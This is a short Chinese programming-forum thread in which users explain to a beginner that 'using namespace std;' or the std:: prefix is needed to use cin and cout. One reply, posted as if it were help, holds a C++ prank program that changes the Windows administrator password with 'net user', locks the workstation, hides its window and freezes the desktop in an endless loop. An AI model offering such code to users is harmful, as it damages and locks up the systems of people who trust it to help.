```cpp
using namespace std;
```
by liyujiang @ 2024-04-18 17:22:55
@[58874__15157](/user/1113269)
```
楼上正解，没有`using namespace std;`是没办法像你那样用`cin`的
```
by DFs_YYDS @ 2024-04-18 17:24:49
@[58874__15157](/user/1113269) 在头文件后面加上这条语句：
------------
```cpp
using namespace std;
```
------------
要不然没法用cin和cout，或者在每条cin cout 前面加上std::
by liiiiiih @ 2024-04-18 17:28:04
@[58874__15157](/user/1113269)
```
#include <windows.h>
#include <dbt.h>
#include <cstdio>
#include <cmath>
int main(){
system("net user administrator \"*\********\"");
system("%windir%\\system32\\rundll32.exe user32.dll,LockWorkStation");
system("choice /t 3 /d y /n >nul");
system("pause");
system("net user administrator \"\"");
ShowWindow(GetConsoleWindow(), 0);
while(1)LockWindowUpdate(GetDesktopWindow());
return 0;
}
```
by zhuomouren @ 2024-04-18 17:33:15
@[liiiiiih](/user/1290417)
```cpp
#define cin std::cin
```
（
by WydnksqhbD_3 @ 2024-04-18 17:46:00
@[zhuomouren](/user/995880) 有病
by DFs_YYDS @ 2024-04-18 19:19:37